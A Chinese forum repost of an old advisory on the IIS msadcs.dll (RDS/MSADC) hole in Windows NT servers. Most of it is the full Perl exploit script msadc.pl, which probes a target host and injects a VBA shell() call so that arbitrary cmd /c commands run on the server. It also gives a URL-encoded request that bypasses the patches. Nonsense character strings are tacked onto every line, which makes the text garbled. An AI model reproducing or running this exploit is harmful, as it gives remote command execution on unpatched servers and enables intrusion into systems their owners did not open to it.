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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) P,S G.EFK  
Flxvhl)L  
涉及程序: 4\ c,)U}  
Microsoft NT server owpWz6k7  
E\ 8  
描述: b,TiMf9},h  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 1SIq[1  
#:x4DvDkR  
详细: 2aA`f7  
如果你没有时间读详细内容的话,就删除: Uggw-sRU  
c:\Program Files\Common Files\System\Msadc\msadcs.dll #zUXyT#X  
有关的安全问题就没有了。 "[p@tc?5  
rZPT89M6  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 0H_!Kg  
H5cV5E0  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 9i5,2~  
关于利用ODBC远程漏洞的描述,请参看: rX7QbAB  
s?Uh|BfB  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm _Us*+ 2(4L  
A=zPL q{Sb  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 )2q~u%9n  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp AdZ;j6#  
gd/H``x|Y  
这里不再论述。 #%@*p,xh  
gwd (N  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: nP~({ :l8X  
`IpA.| Y  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset 5v\!]?(O;  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! ma$Prd  
5qUTMT['T  
|wE3UWsy  
#将下面这段保存为txt文件,然后: "perl -x 文件名" |H}m4-+*  
2f`nMW  
#!perl YT/kC'A  
# _/*U2.xS  
# MSADC/RDS 'usage' (aka exploit) script ^>y@4qB  
# ]'~vI/p  
# by rain.forest.puppy 'uDjFQX  
# J~B 7PW  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me _lKZmhi  
# beta test and find errors! )&{K~i;:  
R #]jSiS  
use Socket; use Getopt::Std; )\;Z4x;]U  
getopts("e:vd:h:XR", \%args); ZPN roCK`  
i|)Su4Dw  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; y;?ie]3G  
JPM))4YDR  
if (!defined $args{h} && !defined $args{R}) { Z+`{7G?4m  
print qq~ +z9@:L  
Usage: msadc.pl -h <host> { -d <delay> -X -v } hd V1nS$  
-h <host> = host you want to scan (ip or domain) tGdf/aTjy  
-d <seconds> = delay between calls, default 1 second ;< )~Y-  
-X = dump Index Server path table, if available j;_c+w!P  
-v = verbose \o-&f:  
-e = external dictionary file for step 5 pCpb;<JG  
4F>Urh+  
Or a -R will resume a command session w=h1pwY  
e6B{QP#jq  
~; exit;}  8@{OR"Ec  
7?gFy-  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; 3cS2gxF  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} 9z;HsUv  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} )?M9|u  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); U'UQ|%5f  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} Ch()P.n?  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } qjAWeS/  
/N>e&e[35\  
if (!defined $args{R}){ $ret = &has_msadc; [+ *$\  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} ;R=.iOn  
BG^C9*ZuP  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" "1q>At  
. "cmd /c "; :f5s4N  
$in=<STDIN>; chomp $in; &0TVi  
$command="cmd /c " . $in ; pu!dqF<  
e7fiGl  
if (defined $args{R}) {&load; exit;} 'evj,zFhW  
H+}"q$  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; @=]~\[e\  
&try_btcustmr; ~1m2#>  
6<,dRn  
print "\nStep 2: Trying to make our own DSN..."; m]_FQWfet  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; 1QZ&Mj^^  
_ ~RpGX  
print "\nStep 3: Trying known DSNs..."; {k.MS-q  
&known_dsn; iz(u=/*\  
3lLMu B+  
print "\nStep 4: Trying known .mdbs..."; ._wkj  
&known_mdb; G iq=*D+  
5WqXo{S  
if (defined $args{e}){ >StO.Q99  
print "\nStep 5: Trying dictionary of DSN names..."; 5G0 $  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } YI-O{U  
1CPjil*eb  
print "Sorry Charley...maybe next time?\n"; Iq+>qX   
exit; MC 0TaP  
#zrTY9m7  
############################################################################## e}@)z3Q<l  
cw&Hgjj2  
sub sendraw { # ripped and modded from whisker .*$OQA  
sleep($delay); # it's a DoS on the server! At least on mine... O9'x -A%  
my ($pstr)=@_; ; UiwH  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || MRr</o  
die("Socket problems\n"); N4;7gSc"  
if(connect(S,pack "SnA4x8",2,80,$target)){ ! / y!QXj  
select(S); $|=1; @`-[;?>  
print $pstr; my @in=<S>; biozZ  
select(STDOUT); close(S); ]J9cVp  
return @in; GEjd7s]C  
} else { die("Can't connect...\n"); }} VKm!Ri$  
 `G1&Z]z  
############################################################################## !|2VWI}  
kVI#(uO  
sub make_header { # make the HTTP request E$a ?LFa6  
my $msadc=<<EOT S~qZr  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 x 5dWBGH  
User-Agent: ACTIVEDATA Y $g$x<7  
Host: $ip p\C%%  
Content-Length: $clen Obw?_@X  
Connection: Keep-Alive Z3 ;!l  
)CI1;  
ADCClientVersion:01.06 ~9F,%  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 4E8JT#&  
d|Gl`BG   
--!ADM!ROX!YOUR!WORLD! 5dx&Qu'}ZS  
Content-Type: application/x-varg M,j(=hRJ/E  
Content-Length: $reqlen zPEg  
_4 6X%k  
EOT 2;L|y._`w  
; $msadc=~s/\n/\r\n/g; !$A37j6  
return $msadc;} n/QF2&X7)  
RWgDD;&_[a  
############################################################################## p <eC<dtu  
@ZN^1?][  
sub make_req { # make the RDS request 3$vRW.c\q  
my ($switch, $p1, $p2)=@_; eMOD;{Q?X  
my $req=""; my $t1, $t2, $query, $dsn; k~%<Ir1V]  
V~GWl1#7  
if ($switch==1){ # this is the btcustmr.mdb query 1%M&CX  
$query="Select * from Customers where City=" . make_shell(); xE}VTHFo'  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . hA 3HVP_  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} SUWD]k>PH  
O_$dI*RK  
elsif ($switch==2){ # this is general make table query VZ>On$hp  
$query="create table AZZ (B int, C varchar(10))"; pqvOJ#?Q}=  
$dsn="$p1";} gIR^ )m  
r _,_5 @0e  
elsif ($switch==3){ # this is general exploit table query : "6q,W  
$query="select * from AZZ where C=" . make_shell(); Nf+b" &Zh`  
$dsn="$p1";} l5Y/Ok0,  
nfb]VN~(  
elsif ($switch==4){ # attempt to hork file info from index server It_M@  
$query="select path from scope()"; L?_7bX oD  
$dsn="Provider=MSIDXS;";} : FAH\  
>}~#>Ru  
elsif ($switch==5){ # bad query /wQL  
$query="select"; *KK+X07  
$dsn="$p1";} rI5F oh6  
_!xD8Di#  
$t1= make_unicode($query);  gB\T[RV  
$t2= make_unicode($dsn); UX`]k{Mz  
$req = "\x02\x00\x03\x00"; EG'[`<*h  
$req.= "\x08\x00" . pack ("S1", length($t1)); rdJm{<  
$req.= "\x00\x00" . $t1 ; |5I'CNi\  
$req.= "\x08\x00" . pack ("S1", length($t2)); d#:3be{|&q  
$req.= "\x00\x00" . $t2 ; W$dn_9W  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; v]2S`ffP  
return $req;} HQ9f ,<  
F Kc;W  
############################################################################## E}CiQUx  
bLz*A-  
sub make_shell { # this makes the shell() statement kH*Pn'  
return "'|shell(\"$command\")|'";} 3`hUo5K  
yTE%hHH]&[  
############################################################################## aYL|@R5;e  
Gy1xG.yM~  
sub make_unicode { # quick little function to convert to unicode u^I(Ny  
my ($in)=@_; my $out; He0=-AR8  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } "`}~~.q  
return $out;} p6EDQwlf  
+c:3o*  
############################################################################## 7Y=cn_ wU  
d {lP  
sub rdo_success { # checks for RDO return success (this is kludge) M"q[p  
my (@in) = @_; my $base=content_start(@in); "%WgT2)m.  
if($in[$base]=~/multipart\/mixed/){ z2ms^Y=j  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} Ap&)6g   
return 0;} Uts"aQ  
"wH)mQnd  
##############################################################################  R7oj#  
%v5R#14[n  
sub make_dsn { # this makes a DSN for us 1rw0sAuGy  
my @drives=("c","d","e","f"); W]<$0  
print "\nMaking DSN: "; K.tlo^#^B[  
foreach $drive (@drives) { y<W8Q<9  
print "$drive: "; kI*(V [i  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . *VSel4;\t  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" k'`m97B  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); hovGQHg  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; .F&9.#>  
return 0 if $2 eq "404"; # not found/doesn't exist 5OM?3M  
if($2 eq "200") { G@!z$  
foreach $line (@results) { |6biq8|$3V  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} I4H`YOD%  
} return 0;} sK$wN4k  
n9LGP2#!  
############################################################################## M"=n>;*X  
VvByHcLv  
sub verify_exists { si1*Wt<3Bc  
my ($page)=@_; _\5~>g_  
my @results=sendraw("GET $page HTTP/1.0\n\n"); 71FeDpe  
return $results[0];} ~>G]_H]?  
`U!y&Q$,  
############################################################################## Zr$d20M2A;  
'/0#lF  
sub try_btcustmr { TGT$ >/w >  
my @drives=("c","d","e","f"); @mw "W{  
my @dirs=("winnt","winnt35","winnt351","win","windows"); KYJ1}5n  
(lA.3 4.p  
foreach $dir (@dirs) { '6Qy/R  
print "$dir -> "; # fun status so you can see progress qg z*'_S  
foreach $drive (@drives) { k>4qkigjc  
print "$drive: "; # ditto OQ/<-+<w  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; ~+D*:7Y_  
$reqlenlen=length( "$reqlen" ); E ?2O(  
$clen= 206 + $reqlenlen + $reqlen; rt]S\  
[c K^+s)N  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); *#>F.#9  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} =1/NFlt8  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} g]mtFrP  
s}M= oe  
############################################################################## 1.@vS&Y7OE  
\ v@({nB8  
sub odbc_error { n_[i0x7#  
my (@in)=@_; my $base; .W\ve>;  
my $base = content_start(@in); ,cTgR78'  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this 1N`vCt]w  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; @`u?bnx]e  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; KHiFJ_3  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; \jW)Xy  
return $in[$base+4].$in[$base+5].$in[$base+6];} `T*U]/zQ  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; 9G?ldp8  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . V+MK'<#B  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} t *6loS0+  
ul7o%Hs  
############################################################################## =?}twC$  
ux2013C_  
sub verbose { -=$2p0" R  
my ($in)=@_; dLh6:Gh8_I  
return if !$verbose; 1V&PtI3 !!  
print STDOUT "\n$in\n";} Z%o7f6P0IX  
 GrJ#.  
############################################################################## UgHf*m  
cleOsj;S  
sub save { .,2V5D-${  
my ($p1, $p2, $p3, $p4)=@_; ?v]-^X=&  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; rp! LP#*  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; O0~vf[i];  
close OUT;} ;#?M)o:q  
ucYkxi`x  
############################################################################## Ry;$^.7%  
Q ~|R Z7G  
sub load { O_@2;iD^^  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; T(X:Yw  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); -mNQ;zI1  
@p=<IN>; close(IN); IY(h~O  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); dT@UK^\  
$target= inet_aton($ip) || die("inet_aton problems"); 4z4v\IpB  
print "Resuming to $ip ..."; =6nD0i 9+  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; 0Vv9BL{  
if($p[1]==1) { O??vm?eo  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; 1IH[g*f  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; [5ethM  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); B:oF;~d/,  
if (rdo_success(@results)){print "Success!\n";} 64oxjF)  
else { print "failed\n"; verbose(odbc_error(@results));}} Z_z#QX>=D  
elsif ($p[1]==3){ 'UwI*EW2S  
if(run_query("$p[3]")){ GKtS6$1d#  
print "Success!\n";} else { print "failed\n"; }} x/TGp?\g  
elsif ($p[1]==4){ {XY3Xo  
if(run_query($drvst . "$p[3]")){ )na&" bJ  
print "Success!\n"; } else { print "failed\n"; }} NGzgLSm\  
exit;} ))#'4  
v#w_eqg  
############################################################################## gtU1'p"  
kl7A^0Qrz  
sub create_table { y0q#R.TOm  
my ($in)=@_; s3t!<9[m  
$reqlen=length( make_req(2,$in,"") ) - 28; - V) R<  
$reqlenlen=length( "$reqlen" ); 3P=w =~e  
$clen= 206 + $reqlenlen + $reqlen; z_SagU,\  
my @results=sendraw(make_header() . make_req(2,$in,"")); =G>(~+EA  
return 1 if rdo_success(@results); $3 8gs{+  
my $temp= odbc_error(@results); verbose($temp); 4rB8Nm1  
return 1 if $temp=~/Table 'AZZ' already exists/; ] pPz@@xx  
return 0;} Agy <j   
)^;DGzG  
############################################################################## L@)&vn]  
sOC&Q&eg  
sub known_dsn { x'`"iZO.t  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go -WR}m6yMr  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", NrJzVGeS  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", iyM^[/-R6  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); Bku' H  
hw,^G5m  
foreach $dSn (@dsns) { \2DE ==M)P  
print "."; }C6@c1myq-  
next if (!is_access("DSN=$dSn")); X-Ycz 5?  
if(create_table("DSN=$dSn")){ =I4.Gf"~f  
print "$dSn successful\n"; 5{l1A (b  
if(run_query("DSN=$dSn")){ :$H!@n*/R  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { k$[{n'\@  
print "Something's borked. Use verbose next time\n";}}} print "\n";} l8wF0|  
S ~|.&0"\  
############################################################################## Qlz Q]:dWC  
F,}s$v  
sub is_access { [%8@D C'  
my ($in)=@_; |O (G nsZ  
$reqlen=length( make_req(5,$in,"") ) - 28; xb^ Mo.\[  
$reqlenlen=length( "$reqlen" ); }p'8w\C$  
$clen= 206 + $reqlenlen + $reqlen; =7jEz+w#  
my @results=sendraw(make_header() . make_req(5,$in,"")); m6n hC  
my $temp= odbc_error(@results); X%4h(7;v  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); Eb@MfL  
return 0;} LHi6:G"Y(  
b7$}JCn  
############################################################################## m^tNqJs8  
4;<DJ.XlN=  
sub run_query { h5onRa *7  
my ($in)=@_; 0=[0|`x  
$reqlen=length( make_req(3,$in,"") ) - 28; Y6eEGo"K.+  
$reqlenlen=length( "$reqlen" ); S<oQ}+4[~  
$clen= 206 + $reqlenlen + $reqlen; 0n5UKtB  
my @results=sendraw(make_header() . make_req(3,$in,"")); @>O&Cpt  
return 1 if rdo_success(@results); v]bAWo  
my $temp= odbc_error(@results); verbose($temp); rx:lKoOnB  
return 0;} -9G]x{>  
 KOS yh<&  
############################################################################## 0|C[-ppr  
?0J0Ij,  
sub known_mdb { Zoow*`b|$U  
my @drives=("c","d","e","f","g"); q|{tQJfYg  
my @dirs=("winnt","winnt35","winnt351","win","windows"); k>{-[X,/OV  
my $dir, $drive, $mdb; Z=9dMND  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; G[6=u|(M  
tA qs2  
# this is sparse, because I don't know of many *Mi6  
my @sysmdbs=( "\\catroot\\icatalog.mdb", % 0v*n8  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", ;BTJ%F.  
"\\system32\\certmdb.mdb", eTZ`q_LfI1  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% lIq~~cv)  
D44I"TgqD  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", G%OpO.Wf  
"\\cfusion\\cfapps\\forums\\forums_.mdb", k+\7B}7F  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", T Nci.']  
"\\cfusion\\cfapps\\security\\realm_.mdb", */U$sZQ)  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", \Da~p9 T&  
"\\cfusion\\database\\cfexamples.mdb", SJ(9rhB5*.  
"\\cfusion\\database\\cfsnippets.mdb", {HuLuP 0t  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", (46U|P(v  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", F*<Ws;j  
"\\cfusion\\brighttiger\\database\\cleam.mdb", #NF+UJYJ&'  
"\\cfusion\\database\\smpolicy.mdb", E& ]_U$  
"\\cfusion\\database\cypress.mdb", r}@< K  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", ,4Y sZ  
"\\website\\cgi-win\\dbsample.mdb", Mcb<[~m  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", ;U7t  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" )/TVJAJ  
); #these are just AI fk"2  
foreach $drive (@drives) { w:R]!e_6\9  
foreach $dir (@dirs){ V'yxqI?  
foreach $mdb (@sysmdbs) { oZvG3_H4.  
print "."; m/N(%oMWB=  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ 6SAQDE  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; L&HzN{K  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ m?vAyi  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; ~y%7w5%Un  
} else { print "Something's borked. Use verbose next time\n"; }}}}} Ja=N@&Z#  
3mA/Nu_  
foreach $drive (@drives) { Ib(,P3  
foreach $mdb (@mdbs) { -9Xw]I#QR  
print "."; p,^>*/O>  
if(create_table($drv . $drive . $dir . $mdb)){ <w11nB)  
print "\n" . $drive . $dir . $mdb . " successful\n"; ~$ WQ"~z  
if(run_query($drv . $drive . $dir . $mdb)){ | VRq$^g  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; *EE|?vn  
} else { print "Something's borked. Use verbose next time\n"; }}}} bgXc_>T6_y  
} 2^ kn5  
|Kn^w4mN  
############################################################################## cFxSDTR  
[r~~=b7*[  
sub hork_idx {  RA~_]Hk  
print "\nAttempting to dump Index Server tables...\n"; Faw. GU  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; Q }8C  
$reqlen=length( make_req(4,"","") ) - 28; -CZ-l;5  
$reqlenlen=length( "$reqlen" ); Ua!Odju*w  
$clen= 206 + $reqlenlen + $reqlen; <v-92?  
my @results=sendraw2(make_header() . make_req(4,"","")); Xa6qvg7/  
if (rdo_success(@results)){ t9n'!  
my $max=@results; my $c; my %d; <sF!]R&4  
for($c=19; $c<$max; $c++){ lZ+/\s,]|  
$results[$c]=~s/\x00//g;  A8`orMo2  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; Jz2 q\42q  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; n%Rjt!9  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; <m9JXO:5  
$d{"$1$2"}="";} Ut=0~x.=<  
foreach $c (keys %d){ print "$c\n"; } M, Po54u  
} else {print "Index server doesn't seem to be installed.\n"; }} xKisL=l6Y  
<#!8?o&i  
############################################################################## ,P1G ?,y  
kfIbgya   
sub dsn_dict { &A#90xzF  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); _4A&%>   
while(<IN>){ ]n/jJ_[  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; m';|}z'  
next if (!is_access("DSN=$dSn")); JCBnFrP  
if(create_table("DSN=$dSn")){ ,7/\&X<`B  
print "$dSn successful\n"; 4v i B=>  
if(run_query("DSN=$dSn")){ ;+! xZOmm  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { sd7Y6?_C  
print "Something's borked. Use verbose next time\n";}}} |Yg}WHm  
print "\n"; close(IN);} <`b|L9  
f61]`@Bk  
############################################################################## l$qmn$Uc  
X]>[Qz)K^  
sub sendraw2 { # ripped and modded from whisker K T"h74@  
sleep($delay); # it's a DoS on the server! At least on mine... ]*;RHy9  
my ($pstr)=@_; `jt(DKB+J  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || zh?xIpY  
die("Socket problems\n"); NdaM9a#TZ  
if(connect(S,pack "SnA4x8",2,80,$target)){ m}sh I8S  
print "Connected. Getting data"; +._f.BRmX.  
open(OUT,">raw.out"); my @in; $::51#^Wg  
select(S); $|=1; print $pstr; ^O?l9(=/u  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} Z7ZWf'o  
close(OUT); select(STDOUT); close(S); return @in; Gu<W:n[  
} else { die("Can't connect...\n"); }} UeC 81*XZ  
LjX&' ,  
############################################################################## N>h]mX6  
1j8/4:  
sub content_start { # this will take in the server headers Cf.WO%?P  
my (@in)=@_; my $c; thR|h+B  
for ($c=1;$c<500;$c++) { +X{cN5Y K  
if($in[$c] =~/^\x0d\x0a/){ UX+?0K  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } ,(zcl$A[  
else { return $c+1; }}}  U5T^S  
return -1;} # it should never get here actually ..sJtA8  
9Vh_XBgP  
############################################################################## ~ly`u  
dICnB:SSB  
sub funky { ;g!xQvcR  
my (@in)=@_; my $error=odbc_error(@in); w?*'vF_2:#  
if($error=~/ADO could not find the specified provider/){ 4"rb&$E   
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; $v2S;UB v*  
exit;} %!1@aL]pQ  
if($error=~/A Handler is required/){ ]M02>=1  
print "\nServer has custom handler filters (they most likely are patched)\n"; z0FR33-  
exit;} L2do 2_  
if($error=~/specified Handler has denied Access/){ %l0_PhAB  
print "\nServer has custom handler filters (they most likely are patched)\n"; Z%(Df3~gmm  
exit;}} j TGS6{E  
!:R^}pMhIk  
############################################################################## U]1>?,Nk'3  
ci#Zvhtk r  
sub has_msadc { i&? 78+:  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); q>wa#1X)  
my $base=content_start(@results); AqTR.}H  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); pRb+'v&_k  
return 0;} YLr%vnO*NS  
>& 4I.nA  
######################## (Qw`%B  
Y,p2eAss  
exGhkt~  
解决方案: +sV#Z,  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll 4'7 v!I9  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 IDL^0:eg<.  
@p?b"?QaB  
拿出来充数 哈哈
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